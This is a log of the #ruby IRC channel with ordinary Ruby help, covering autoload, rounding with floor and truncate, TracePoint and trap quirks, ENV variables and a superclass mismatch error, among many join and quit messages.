ffgghhj has joined #ruby
symm- has quit [Ping timeout: 265 seconds]
symm- has joined #ruby
dumdedum has quit [Quit: foo]
dumdedum has joined #ruby
<shevy> aha
braincrash has quit [Ping timeout: 246 seconds]
PlasmaStar has joined #ruby
bruno- has joined #ruby
braincrash has joined #ruby
gooodroot has joined #ruby
_aeris_ has quit [Remote host closed the connection]
bruno- has quit [Ping timeout: 250 seconds]
kkeuning has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
_aeris_ has joined #ruby
Rodya_ has quit [Remote host closed the connection]
patrick-sartent has quit [Ping timeout: 250 seconds]
goodroot has quit [Ping timeout: 250 seconds]
Aragorn121 has quit [Remote host closed the connection]
sepp2k has joined #ruby
goooodroot has joined #ruby
blackmes1 has joined #ruby
htmldrum has quit [Ping timeout: 244 seconds]
gooodroot has quit [Ping timeout: 276 seconds]
<Zarthus> do people still recommend against kernel#autoload, or is it okay to use it?
<apeiros> Zarthus: the thread safety issue seems to have been solved a couple of versions back
<Zarthus> Sweet.
<apeiros> but there was never an update on the remark that they want to retire it :-/
<Zarthus> I'm considering refactoring my project to more of a rails-setup of directories
robh71 has joined #ruby
robh71 has quit [Max SendQ exceeded]
<Zarthus> the whole lib/project/<ton of files> is probably not ideal, and autoload will probably align nicely with that vision
minimalism has quit [Quit: minimalism]
RegulationD has joined #ruby
blackmes1 has quit [Ping timeout: 260 seconds]
banister has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
idefine has joined #ruby
last_staff has quit [Quit: last_staff]
dumdedum has quit [Ping timeout: 260 seconds]
nadir has joined #ruby
RegulationD has quit [Ping timeout: 265 seconds]
idefine has quit [Ping timeout: 265 seconds]
djbkd has joined #ruby
drewo has joined #ruby
capa66 has joined #ruby
hahuang61 has joined #ruby
stannard has quit [Remote host closed the connection]
codecop has joined #ruby
drewo has quit [Ping timeout: 246 seconds]
Moosashi has joined #ruby
SubjectiveBias has quit [Ping timeout: 260 seconds]
skade has quit [Quit: Computer has gone to sleep.]
zacstewart has joined #ruby
hahuang61 has quit [Ping timeout: 260 seconds]
yardenbar has joined #ruby
SubjectiveBias has joined #ruby
zacstewart has quit [Ping timeout: 260 seconds]
djbkd has quit [Remote host closed the connection]
CloCkWeRX has joined #ruby
SpeakingClojure has quit [Read error: Connection reset by peer]
electrostat has quit [Quit: uwotm8]
d0nn1e has quit [Ping timeout: 246 seconds]
yardenbar has quit [Ping timeout: 260 seconds]
d0nn1e has joined #ruby
tk__ has joined #ruby
hays has quit [Remote host closed the connection]
hays has joined #ruby
zapata has quit [Ping timeout: 260 seconds]
electrostat has joined #ruby
gooooodroot has joined #ruby
skade has joined #ruby
goooodroot has quit [Ping timeout: 265 seconds]
dionysus69 has quit [Remote host closed the connection]
dionysus69 has joined #ruby
electrostat has quit [Quit: uwotm8]
User458764 has quit [Quit: My iMac has gone to sleep. ZZZzzz…]
zapata has joined #ruby
bluOxigen has joined #ruby
banister has joined #ruby
patrick-sartent has joined #ruby
haxrbyte has quit [Ping timeout: 250 seconds]
dionysus69 has quit [Remote host closed the connection]
dionysus69 has joined #ruby
lxsameer has joined #ruby
kareeoleez has quit [Remote host closed the connection]
skade has quit [Quit: Computer has gone to sleep.]
charliesome has joined #ruby
skweek has joined #ruby
syk has joined #ruby
kareeoleez has joined #ruby
idefine has joined #ruby
stannard has joined #ruby
charliesome has quit [Ping timeout: 246 seconds]
ta_ has quit [Remote host closed the connection]
fofo2 has joined #ruby
charliesome has joined #ruby
Lomex has joined #ruby
LoneHerm_ has joined #ruby
<fofo2> can someone tell me what is wrong with this? new to programming
kareeoleez has quit [Ping timeout: 260 seconds]
idefine has quit [Ping timeout: 250 seconds]
millerti has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
drewo has joined #ruby
Chachi has joined #ruby
<ytti> [1] pry(main)> 'kakka' == 'akkak'.reverse
<ytti> => true
<adaedra> line 7, you're comparing an integer to a string.
<adaedra> also, this code looks very c.
sdothum has joined #ruby
<adaedra> line 14, you surely mean elsif, not if.
<adaedra> otherwise, there's a syntax error.
LoneHerm_ has quit [Ping timeout: 250 seconds]
<fofo2> which one is the integer, the reverse?
<ytti> #length
<ytti> reverse is a s tring
<ytti> reverse.size
<adaedra> you should be able to tell that.
<nsno> `else` would do, even better would be removing 12 thru 16 and just evaluating `reverse == string`
flashpoint9 has joined #ruby
bluOxigen_ has joined #ruby
haxrbyte has joined #ruby
griffindy has joined #ruby
haxrbyte has quit [Read error: Connection reset by peer]
haxrbyte has joined #ruby
drewo has quit [Ping timeout: 260 seconds]
bluOxigen has quit [Ping timeout: 246 seconds]
bazz_ has joined #ruby
patrick-sartent has quit [Ping timeout: 252 seconds]
banister has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
shinnya has joined #ruby
Laika_ has joined #ruby
Moosashi has quit [Quit: Moosashi]
Laika_ has left #ruby [#ruby]
Laika_ has joined #ruby
<Laika_> o/
Laika_ has left #ruby [#ruby]
electrostat has joined #ruby
Laika_ has joined #ruby
Laika_ has left #ruby [#ruby]
kareeoleez has joined #ruby
idle_task has joined #ruby
stannard has quit [Remote host closed the connection]
banister has joined #ruby
idletask has quit [Ping timeout: 244 seconds]
mostlybadfly has joined #ruby
skade has joined #ruby
kareeoleez has quit [Ping timeout: 260 seconds]
sdothum has quit [Quit: ZNC - 1.6.0 - http://znc.in]
Moosashi has joined #ruby
Sammichmaker has quit [Read error: Connection reset by peer]
bronson has joined #ruby
ropeney has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
sdothum has joined #ruby
raeoks has joined #ruby
bronson has quit [Ping timeout: 265 seconds]
stannard has joined #ruby
[-__-] has quit [Ping timeout: 252 seconds]
banister has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
early90spants has quit [Ping timeout: 260 seconds]
lxsameer has quit [Ping timeout: 244 seconds]
skade has quit [Quit: Computer has gone to sleep.]
kareeoleez has joined #ruby
tk__ has quit [Quit: ばいばい]
bruno- has joined #ruby
syk has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
moeabdol has quit [Ping timeout: 276 seconds]
zast has joined #ruby
UserInNeed has joined #ruby
CloCkWeRX has quit [Quit: Leaving.]
stannard has quit [Remote host closed the connection]
orangey has quit [Ping timeout: 260 seconds]
skade has joined #ruby
symm- has quit [Ping timeout: 250 seconds]
fofo2 has left #ruby [#ruby]
kareeoleez has quit [Ping timeout: 276 seconds]
bruno- has quit [Ping timeout: 240 seconds]
orangey has joined #ruby
Trynemjoel has joined #ruby
syk has joined #ruby
Moosashi has quit [Quit: Moosashi]
chouhoulis has joined #ruby
flashpoint9 has quit []
vdamewood has quit [Quit: Life beckons.]
goodroot has joined #ruby
Moosashi has joined #ruby
binaryplease has joined #ruby
gooooodroot has quit [Ping timeout: 250 seconds]
tatsuo has joined #ruby
chouhoulis has quit [Remote host closed the connection]
laska has joined #ruby
Ispira has joined #ruby
charliesome has quit [Ping timeout: 260 seconds]
chouhoulis has joined #ruby
laska has left #ruby [#ruby]
mdw has quit [Quit: Sleeping Zzzzz]
laska has joined #ruby
skade has quit [Quit: Computer has gone to sleep.]
laska has left #ruby [#ruby]
idefine has joined #ruby
Moosashi has quit [Quit: Moosashi]
mdw has joined #ruby
terminalrecluse has joined #ruby
davedev24 has joined #ruby
idefine has quit [Ping timeout: 250 seconds]
bruno- has joined #ruby
drewo has joined #ruby
Devalo has joined #ruby
greves has joined #ruby
RegulationD has joined #ruby
drewo has quit [Ping timeout: 260 seconds]
greves has quit [Max SendQ exceeded]
Ishido has joined #ruby
greves has joined #ruby
greves has quit [Max SendQ exceeded]
greves has joined #ruby
Lomex has quit [Remote host closed the connection]
greves has quit [Max SendQ exceeded]
rbennacer has joined #ruby
RegulationD has quit [Ping timeout: 265 seconds]
greves has joined #ruby
greves has quit [Max SendQ exceeded]
greves has joined #ruby
JoshGlzBrk has joined #ruby
greves has quit [Max SendQ exceeded]
greves has joined #ruby
greves has quit [Max SendQ exceeded]
greves has joined #ruby
Azure has quit [Ping timeout: 246 seconds]
solocshaw has joined #ruby
greves has quit [Max SendQ exceeded]
spider-mario has quit [Read error: Connection reset by peer]
Devalo has quit [Remote host closed the connection]
hahuang61 has joined #ruby
bruno- has quit [Read error: Connection reset by peer]
Azure has joined #ruby
bruno- has joined #ruby
the_drow has quit [Quit: This computer has gone to sleep]
User458764 has joined #ruby
Ocratech has joined #ruby
workmad3 has joined #ruby
User458764 has quit [Client Quit]
hahuang61 has quit [Ping timeout: 244 seconds]
zacstewart has joined #ruby
xlegoman has quit [Remote host closed the connection]
xlegoman has joined #ruby
Moosashi has joined #ruby
BSaboia has joined #ruby
nando293921 has joined #ruby
Moosashi has quit [Client Quit]
zacstewart has quit [Ping timeout: 240 seconds]
SubjectiveBias has quit [Ping timeout: 252 seconds]
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
jenrzzz has joined #ruby
PlasmaStar has quit [Ping timeout: 276 seconds]
stardiviner has quit [Quit: Code, Sex, Just fucking world.]
workmad3 has quit [Ping timeout: 276 seconds]
SubjectiveBias has joined #ruby
ishe has quit [Remote host closed the connection]
PlasmaStar has joined #ruby
<Zarthus> Kernel#set_trace_func sounds ultimately pretty useless but it's nice to see how everything flows in your project o_O
<Ox0dea> It's useful for doing silly things.
jenrzzz has quit [Ping timeout: 252 seconds]
<Ox0dea> Well, TracePoint is, anyway.
pickandmix has joined #ruby
rbennacer has quit [Remote host closed the connection]
moeabdol has joined #ruby
<shevy> Zarthus even global variables sniffing! http://apidock.com/ruby/v1_9_3_392/Kernel/trace_var
<shevy> I think I saw it in the pickaxe first, many years ago... I still have not found a use case for it myself
rkazak has joined #ruby
<Zarthus> i wrote a debug handler that is only ever used when debugging = true
<Zarthus> the problem is that it's 20k lines of c-calls after just 20 seconds of running
idefine has joined #ruby
LoneHermit has joined #ruby
iwmrby has joined #ruby
nando293921 has quit [Ping timeout: 260 seconds]
constantinexvi has quit [Quit: Exiting]
idefine has quit [Ping timeout: 250 seconds]
Ebok has joined #ruby
nando293921 has joined #ruby
drewo has joined #ruby
nadir has quit [Quit: Connection closed for inactivity]
LoneHermit has quit [Ping timeout: 260 seconds]
charliesome has joined #ruby
binaryplease has quit [Ping timeout: 244 seconds]
crameth has quit [Quit: crameth]
drewo has quit [Ping timeout: 265 seconds]
Chachi has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
Devalo has joined #ruby
idefine has joined #ruby
drptbl has joined #ruby
slackbotgz has joined #ruby
terminalrecluse has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
idefine has quit [Ping timeout: 250 seconds]
Ocratech has quit [Quit: Leaving]
JoshGlzBrk has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
fedexo has joined #ruby
QpQ4 has joined #ruby
terminalrecluse has joined #ruby
ffgghhj has quit [Quit: Leaving]
<shevy> is there a way to always round down? like if we have: 66.6, to apply a round downwards to 66.0 or 66 (net result does not have to be a float anymore)
chopin has joined #ruby
<ytti> 66.6.to_i
<havenwood> shevy: floor
diegoviola has joined #ruby
kareeoleez has joined #ruby
<shevy> ah thanks
<havenwood> >> [-66.6.floor, -66.6.truncate]
<ruby[bot]> havenwood: # => [-67, -66] (https://eval.in/567055)
Devalo has quit [Remote host closed the connection]
<havenwood> shevy: ^ which do you want?
blur3d has quit [Quit: blur3d]
<shevy> hmmm
<shevy> I won't have negative values though :D
<havenwood> shevy: Then no matter!
chipotle has joined #ruby
<havenwood> shevy: floor or to_i/truncate, pick you poison
<Ox0dea> Those are curatives!
<Ox0dea> (Usually.)
<havenwood> pick your cure*
<shevy> so many ways
<Zarthus> I never thought about #floor going for the lowest value like that
<pwnd_nsfw> -> floor
<pwnd_nsfw> not ceiling
<Zarthus> well the floor is upwards if you're in the basement
<Ox0dea> It rounds toward the nearest lesser integer.
kareeoleez has quit [Ping timeout: 244 seconds]
<pwnd_nsfw> is it though?
<Ox0dea> s/lesser/not greater/, technically.
<Zarthus> it's both!
<pwnd_nsfw> this isn't php
<Ox0dea> PHP's floor() semantics are sane?
<Zarthus> % php -r 'var_dump(floor(-66.6));'
<Zarthus> float(-67)
<pwnd_nsfw> oh my lawd
<Zarthus> it has admittably bitten me a few times that's returning a float
<shevy> hehe
hosttor has joined #ruby
nerium has joined #ruby
QpQ4 has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
AlexRussia has joined #ruby
idle_task is now known as idletask
idefine_ has joined #ruby
kareeoleez has joined #ruby
Mon_Ouie has joined #ruby
bronson has joined #ruby
moeabdol has quit [Ping timeout: 260 seconds]
jenrzzz has joined #ruby
idefine_ has quit [Ping timeout: 252 seconds]
kareeoleez has quit [Ping timeout: 276 seconds]
antgel has quit [Ping timeout: 246 seconds]
Chachi has joined #ruby
bronson has quit [Ping timeout: 252 seconds]
Gasher has quit [Ping timeout: 260 seconds]
ddffg has joined #ruby
robbyoconnor has joined #ruby
jenrzzz has quit [Ping timeout: 252 seconds]
slackbotgz has quit [Remote host closed the connection]
sepp2k has quit [Ping timeout: 246 seconds]
sepp2k has joined #ruby
rkazak has quit [Quit: Sleep.....ing....]
lubekpl has quit [Ping timeout: 265 seconds]
JoshGlzBrk has joined #ruby
kareeoleez has joined #ruby
Chachi has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
robbyoconnor has quit [Quit: Konversation terminated!]
The_Phoenix has quit [Quit: Leaving.]
kareeoleez has quit [Ping timeout: 240 seconds]
drewo has joined #ruby
Chachi has joined #ruby
stannard has joined #ruby
rkazak has joined #ruby
kareeoleez has joined #ruby
drewo has quit [Ping timeout: 252 seconds]
<Zarthus> hmm.
<Zarthus> It seems like my error logger (which is pretty much just a TracePoint#trace(:raise)) halts trap('SIGINT') { raise KeyboardInterrupt }
nadir has joined #ruby
kareeoleez has quit [Ping timeout: 244 seconds]
dikaio has joined #ruby
Snowy has joined #ruby
jds has quit [Quit: Connection closed for inactivity]
edwinvdgraaf has quit [Read error: Connection reset by peer]
edwinvdgraaf has joined #ruby
AnoHito_ has quit [Ping timeout: 276 seconds]
|2701 has joined #ruby
kirillow has quit [Ping timeout: 260 seconds]
<Zarthus> yep, it seems like TracePoint#raise nullifies the use of begin...rescue
GinoMan2440 has joined #ruby
Cohedrin has joined #ruby
kareeoleez has joined #ruby
lxsameer has joined #ruby
kirillow has joined #ruby
kareeoleez has quit [Ping timeout: 246 seconds]
hahuang61 has joined #ruby
<shevy> a bug!
<shevy> or a feature
<shevy> abolish all the rescues
<Zarthus> i'm not sure, but I can't reproduce it in a minimalistic environment
naftilos76 has joined #ruby
Chachi has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
hahuang61 has quit [Ping timeout: 260 seconds]
zacstewart has joined #ruby
zacstewart has quit [Ping timeout: 252 seconds]
the_drow has joined #ruby
marr has joined #ruby
pawnbox has quit [Remote host closed the connection]
pawnbox has joined #ruby
zacstewart has joined #ruby
the_drow has quit [Client Quit]
AnoHito has joined #ruby
kareeoleez has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
jenrzzz has joined #ruby
drewo has joined #ruby
the_drow has joined #ruby
LoneHermit has joined #ruby
UserInNeed has quit [Changing host]
UserInNeed has joined #ruby
the_drow has quit [Read error: Connection reset by peer]
d0lph1n98 has quit [Ping timeout: 276 seconds]
jenrzzz has quit [Ping timeout: 250 seconds]
the_drow has joined #ruby
kareeoleez has quit [Ping timeout: 276 seconds]
dionysus69 has quit [Ping timeout: 240 seconds]
haxrbyte has quit [Remote host closed the connection]
Es0teric has joined #ruby
gooodroot has joined #ruby
dionysus69 has joined #ruby
Ishido has quit [Remote host closed the connection]
bruce_lee has quit [Remote host closed the connection]
goodroot has quit [Ping timeout: 260 seconds]
lxsameer has quit [Ping timeout: 252 seconds]
goooodroot has joined #ruby
Dimik has joined #ruby
<Zarthus> interesting, while I was having dinner it partially-magically fixed itself
croberts has joined #ruby
<croberts> is it possible to grab a bash env variable and make it a variable in ruby?
<Zarthus> I made some small changes that definitely looked wrong, but even if I revert those changes I can no longer reproduce the issue I had
<adaedra> croberts: ENV ?
<Zarthus> croberts: ENV["BASH_ENVIRONMENT_VARIABLE"]
<croberts> ok
<croberts> thanks guys
gooodroot has quit [Ping timeout: 240 seconds]
chris2 has quit [Ping timeout: 260 seconds]
kareeoleez has joined #ruby
gooooodroot has joined #ruby
htmldrum has joined #ruby
Snowy has quit [Read error: Connection reset by peer]
capa66 has quit [Quit: ttfn]
goooodroot has quit [Ping timeout: 240 seconds]
Snowy has joined #ruby
Mon_Ouie has quit [Quit: WeeChat 1.4]
kareeoleez has quit [Ping timeout: 252 seconds]
htmldrum has quit [Ping timeout: 260 seconds]
smathy has joined #ruby
`tim` has joined #ruby
`tim` is now known as justbleed
Silox| has joined #ruby
xlegoman has quit [Quit: xlegoman]
xlegoman_ has joined #ruby
zacstewart has quit [Ping timeout: 252 seconds]
smathy has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
kareeoleez has joined #ruby
smathy has joined #ruby
A124 has quit [Quit: '']
houhoulis has joined #ruby
the_drow has quit [Read error: Connection reset by peer]
the_drow has joined #ruby
kareeoleez has quit [Ping timeout: 260 seconds]
terminalrecluse has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
smathy has quit [Ping timeout: 265 seconds]
ramfjord has joined #ruby
<Zarthus> For the (still) curious: My error logger class was raising an error, providing no feedback whatsoever
<Zarthus> failed to log error, rescued from reporting: can't be called from trap context
<Zarthus> so apperantly you can't write to a file within Kernel#trap
chris2 has joined #ruby
<Zarthus> (but can still write to stderr/out)
charliesome has quit [Ping timeout: 260 seconds]
nerium has quit [Read error: Connection reset by peer]
nerium has joined #ruby
justbleed has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
Ishido has joined #ruby
A124 has joined #ruby
RegulationD has joined #ruby
Sammichmaker has joined #ruby
kareeoleez has joined #ruby
RegulationD has quit [Ping timeout: 276 seconds]
Ispira has left #ruby [#ruby]
hk238 has quit [Quit: http://www.kvirc.net/ 4.9.1 Aria]
kareeoleez has quit [Ping timeout: 260 seconds]
blackmes1 has joined #ruby
segy has quit [Ping timeout: 276 seconds]
the_drow has quit [Read error: Connection reset by peer]
hahuang65 has joined #ruby
Azure has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
davedev24 has quit [Remote host closed the connection]
the_drow has joined #ruby
drptbl has quit [Quit: My MAC has gone to sleep. zZz..]
ramfjord has quit [Read error: Connection reset by peer]
ramfjord has joined #ruby
RubyNewbie has joined #ruby
nerium has quit [Quit: nerium]
shinnya has quit [Ping timeout: 252 seconds]
symm- has joined #ruby
Yzguy has joined #ruby
Yzguy has quit [Client Quit]
drptbl has joined #ruby
tax has joined #ruby
chouhoulis has quit [Remote host closed the connection]
Azure has joined #ruby
segy has joined #ruby
kareeoleez has joined #ruby
DaniG2k has joined #ruby
JoshGlzBrk has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
JoshGlzBrk has joined #ruby
rkazak has quit [Quit: Sleep.....ing....]
dionysus69 has quit [Ping timeout: 244 seconds]
chopin_ has joined #ruby
davedev24 has joined #ruby
kareeoleez has quit [Ping timeout: 240 seconds]
chouhoulis has joined #ruby
yqt has joined #ruby
justin_pdx has joined #ruby
hahuang65 has quit [Quit: WeeChat 1.4]
davedev2_ has joined #ruby
chopin has quit [Ping timeout: 250 seconds]
RubyNewbie is now known as Labaleine
Yzguy has joined #ruby
haxrbyte has joined #ruby
hahuang65 has joined #ruby
GinoMan2440 has quit [Ping timeout: 260 seconds]
cpup has quit [Quit: Breaking stuff]
davedev24 has quit [Ping timeout: 250 seconds]
futilegames has joined #ruby
cpup has joined #ruby
syk has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
justin_pdx has quit [Quit: justin_pdx]
j2k has quit [Max SendQ exceeded]
Yzguy has quit [Quit: Zzz...]
gheegh has quit [Quit: Textual IRC Client: www.textualapp.com]
elifoster has joined #ruby
johnbat26 has joined #ruby
Labaleine has quit [Read error: Connection reset by peer]
zacstewart has joined #ruby
deadhound has quit [Quit: Leaving]
anik120 has joined #ruby
deadhound has joined #ruby
drewo has quit [Ping timeout: 276 seconds]
GinoMan2440 has joined #ruby
drewo has joined #ruby
j2k has joined #ruby
cdg has joined #ruby
dopamean_ has quit [Quit: WeeChat 1.3]
goodroot has joined #ruby
deadhound has quit [Ping timeout: 276 seconds]
n_blownapart has joined #ruby
deadhound has joined #ruby
moeabdol has joined #ruby
gooooodroot has quit [Ping timeout: 276 seconds]
pickandmix has quit [Ping timeout: 252 seconds]
xlegoman_ has quit [Quit: xlegoman_]
JoshGlzBrk has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
iwmrby has quit [Quit: WeeChat 1.4]
kirun has joined #ruby
ReK2 has quit [Remote host closed the connection]
hahuang61 has joined #ruby
rkazak has joined #ruby
DoubleMalt has quit [Ping timeout: 260 seconds]
ReK2 has joined #ruby
jelon has joined #ruby
Yzguy has joined #ruby
pawnbox has quit [Remote host closed the connection]
DoubleMalt has joined #ruby
jelon has quit [Client Quit]
Yzguy has quit [Client Quit]
pawnbox has joined #ruby
hahuang61 has quit [Ping timeout: 250 seconds]
jelon has joined #ruby
jelon has quit [Client Quit]
Coldblackice has quit [Ping timeout: 250 seconds]
workmad3 has joined #ruby
drewo has quit [Ping timeout: 265 seconds]
naftilos76 has quit [Ping timeout: 276 seconds]
kareeoleez has joined #ruby
jelon has joined #ruby
ex0ns has quit [Remote host closed the connection]
Es0teric has quit [Quit: Computer has gone to sleep.]
Labaleine has joined #ruby
workmad3 has quit [Ping timeout: 246 seconds]
rkazak has quit [Quit: Sleep.....ing....]
DaniG2k has quit [Quit: leaving]
futilegames has quit [Quit: futilegames]
`tim` has joined #ruby
symm- has quit [Ping timeout: 276 seconds]
mdw has quit [Quit: Sleeping Zzzzz]
deadhound has quit [Quit: Leaving]
spider-mario has joined #ruby
kareeoleez has quit [Remote host closed the connection]
anik120 has quit [Quit: Textual IRC Client: www.textualapp.com]
Vingador has joined #ruby
stannard has quit [Remote host closed the connection]
elifoster has quit [Quit: KVIrc 4.3.1 Aria http://www.kvirc.net/]
kareeoleez has joined #ruby
duoi has quit [Ping timeout: 250 seconds]
htmldrum has joined #ruby
minimalism has joined #ruby
Vingador has quit [Ping timeout: 244 seconds]
stannard has joined #ruby
kareeoleez has quit [Ping timeout: 240 seconds]
edwinvdgraaf has quit [Remote host closed the connection]
UserInNeed is now known as cursor
cursor is now known as UserInNeed
htmldrum has quit [Ping timeout: 244 seconds]
edwinvdgraaf has joined #ruby
stannard has quit [Ping timeout: 240 seconds]
edwinvdgraaf has quit [Remote host closed the connection]
edwinvdgraaf has joined #ruby
joaumg has joined #ruby
platzhirsch has joined #ruby
drewo has joined #ruby
Ocratech has joined #ruby
mdw has joined #ruby
kith has quit [Quit: kith]
nanoz has quit [Quit: <3]
drewo has quit [Ping timeout: 260 seconds]
`tim` is now known as justbleed
skade has joined #ruby
Vingador has joined #ruby
dikaio has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
drptbl has quit [Quit: My MAC has gone to sleep. zZz..]
yardenbar has joined #ruby
Yiota_ has joined #ruby
millerti has joined #ruby
kareeoleez has joined #ruby
symm- has joined #ruby
LoneHermit has quit [Remote host closed the connection]
htmldrum has joined #ruby
Yiota_ has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
kareeoleez has quit [Ping timeout: 260 seconds]
zacstewart has quit [Ping timeout: 265 seconds]
CoderPuppy has joined #ruby
Vingador has quit [Ping timeout: 246 seconds]
htmldrum has quit [Ping timeout: 244 seconds]
Ocratech has quit [Quit: Leaving]
diego1 has joined #ruby
diegoviola has quit [Ping timeout: 276 seconds]
SilverKey has joined #ruby
jelon has quit []
diego1 has quit [Changing host]
diego1 has joined #ruby
cpup has quit [Ping timeout: 246 seconds]
htmldrum has joined #ruby
gooodroot has joined #ruby
JoshGlzBrk has joined #ruby
nofxx has joined #ruby
hahuang61 has joined #ruby
baweaver is now known as baweaver_away
goodroot has quit [Ping timeout: 250 seconds]
Vingador has joined #ruby
QORRiE has joined #ruby
rkoller has joined #ruby
htmldrum has quit [Ping timeout: 276 seconds]
deadhound has joined #ruby
RegulationD has joined #ruby
cpup has joined #ruby
deadhound has quit [Remote host closed the connection]
hahuang61 has quit [Ping timeout: 252 seconds]
kareeoleez has joined #ruby
duoi has joined #ruby
Vingador has quit [Ping timeout: 252 seconds]
CoderPuppy has quit [Ping timeout: 260 seconds]
ex0ns has joined #ruby
naftilos76 has joined #ruby
RegulationD has quit [Ping timeout: 276 seconds]
diego1 is now known as diegoviola
deadhound has joined #ruby
kareeoleez has quit [Ping timeout: 265 seconds]
deadhound has quit [Remote host closed the connection]
deadhound has joined #ruby
deadhound has quit [Remote host closed the connection]
Coldblackice has joined #ruby
jenrzzz has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
Lomex has joined #ruby
kareeoleez has joined #ruby
deadhound has joined #ruby
goooodroot has joined #ruby
deadhound has quit [Client Quit]
deadhound has joined #ruby
codecop has quit [Read error: Connection reset by peer]
chris2 has quit [Ping timeout: 276 seconds]
deadhound has quit [Remote host closed the connection]
jenrzzz has quit [Ping timeout: 265 seconds]
gooodroot has quit [Ping timeout: 276 seconds]
Snowy has quit [Remote host closed the connection]
Gasher has joined #ruby
kareeoleez has quit [Ping timeout: 260 seconds]
aeterne has joined #ruby
deadhound has joined #ruby
hahuang65 has quit [Ping timeout: 250 seconds]
JoshGlzBrk has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
deadhound has quit [Remote host closed the connection]
Lomex has quit [Remote host closed the connection]
codecop has joined #ruby
the_drow has quit [Quit: This computer has gone to sleep]
banister has joined #ruby
denny has quit [Quit: So long, and thanks for all the trout.]
Gasher has quit [Ping timeout: 252 seconds]
chris2 has joined #ruby
JoshGlzBrk has joined #ruby
nando293921 has quit [Ping timeout: 240 seconds]
JoshGlzBrk has quit [Client Quit]
stannard has joined #ruby
Snowy has joined #ruby
stannard has quit [Remote host closed the connection]
stannard has joined #ruby
dikaio has joined #ruby
drewo has joined #ruby
auxbuss has joined #ruby
kareeoleez has joined #ruby
kirun has quit [Quit: Client exiting]
naftilos76 has quit [Quit: Αποχώρησε]
Gasher has joined #ruby
toretore has quit [Ping timeout: 276 seconds]
kareeoleez has quit [Ping timeout: 244 seconds]
chipotle has quit [Quit: cheerio]
chipotle has joined #ruby
drewo has quit [Ping timeout: 250 seconds]
<soahccc> What happens if I define an Outer::Inner class and then do "Outer < InheritSomething"? I have the feeling it removes "Inner"
<Ox0dea> soahccc: It's an error.
<soahccc> It doesn't throw one
Coldblackice has quit [Ping timeout: 250 seconds]
pawnbox has quit [Remote host closed the connection]
Coldblackice has joined #ruby
pawnbox has joined #ruby
<Ox0dea> soahccc: https://eval.in/567103
<Ox0dea> You'll have to post some code.
codecop has quit [Remote host closed the connection]
scepticulous has joined #ruby
Rodya_ has joined #ruby
johnbat26 has quit [Quit: KVIrc 4.9.2 Aria http://www.kvirc.net/]
dionysus69 has joined #ruby
<apeiros> soahccc: that code is order dependent
<apeiros> if you load blueprint.rb before cbs_builder.rb, you'll get an exception
ramfjord has quit [Ping timeout: 252 seconds]
<apeiros> the other way round works
<soahccc> the funny thing is, it does get loaded in that order and I just get the error later because my blueprint class is just gone
<apeiros> >> class Foo; end; class Bar < Foo; end; Bar.ancestors
<ruby[bot]> apeiros: # => [Bar, Foo, Object, Kernel, BasicObject] (https://eval.in/567104)
<apeiros> >> class Foo; end; class Bar; end; class Bar < Foo; end; Bar.ancestors
<ruby[bot]> apeiros: # => superclass mismatch for class Bar (TypeError) ...check link for more (https://eval.in/567105)
<soahccc> I know that superclass mismatch thing from AR but I don't get it here :/
<apeiros> I doubt it happens the way you think then
GodFather has joined #ruby
<apeiros> because no, stuff won't just be gone.
bruno- has quit [Read error: Connection reset by peer]
bruno- has joined #ruby
<Ox0dea> >> class C < String; end; class C; end; C.ancestors
<ruby[bot]> Ox0dea: # => [C, String, Comparable, Object, Kernel, BasicObject] (https://eval.in/567106)
<soahccc> apeiros: I put a `say blueprint/builder/printer` on line 1 on each file and they get loaded in that order
dionysus69 has quit [Ping timeout: 260 seconds]
<apeiros> say?
<soahccc> apeiros: and with the name error it seems to be gone
<Ox0dea> You have to go well out of your way to remove/modify a superclass.
<soahccc> apeiros: on OS X that reads it out :)
<apeiros> oh, that `` was a shell-out, not delimiters for ruby code
<soahccc> I guess I just rename the files 1_, 2_, etc. since they get all loaded in order (all rb files, it's kinda messy)
pawnbox has quit [Ping timeout: 244 seconds]
<soahccc> since I don't win a prize with this project anyways :)
kareeoleez has joined #ruby
LoneHermit has joined #ruby
rkoller has quit [Quit: Textual IRC Client: www.textualapp.com]
Chachi has joined #ruby
LoneHermit has quit [Remote host closed the connection]
SilverKey has quit [Quit: Halted.]
Yiota_ has joined #ruby
kkeuning has joined #ruby
kareeole_ has joined #ruby
kareeole_ is now known as kareeoleez_
SilverKey has joined #ruby
drewo has joined #ruby
kareeoleez has quit [Ping timeout: 276 seconds]
chipotle has quit [Quit: cheerio]
davedev2_ has quit [Ping timeout: 276 seconds]
yfeldblum has joined #ruby
kareeoleez_ is now known as kareeoleez
davedev24 has joined #ruby
nofxx has quit [Ping timeout: 244 seconds]
raeoks has quit [Quit: Textual IRC Client: www.textualapp.com]
nofxx has joined #ruby
drewo has quit [Ping timeout: 276 seconds]
Tohuw has joined #ruby
juanfra has joined #ruby
antgel has joined #ruby
eljimmy has joined #ruby
Es0teric has joined #ruby
Moosashi has joined #ruby
banister has quit [Ping timeout: 246 seconds]
SilverKey has quit [Quit: Halted.]
yardenbar has quit [Ping timeout: 276 seconds]
n_blownapart has quit []
jenrzzz has joined #ruby
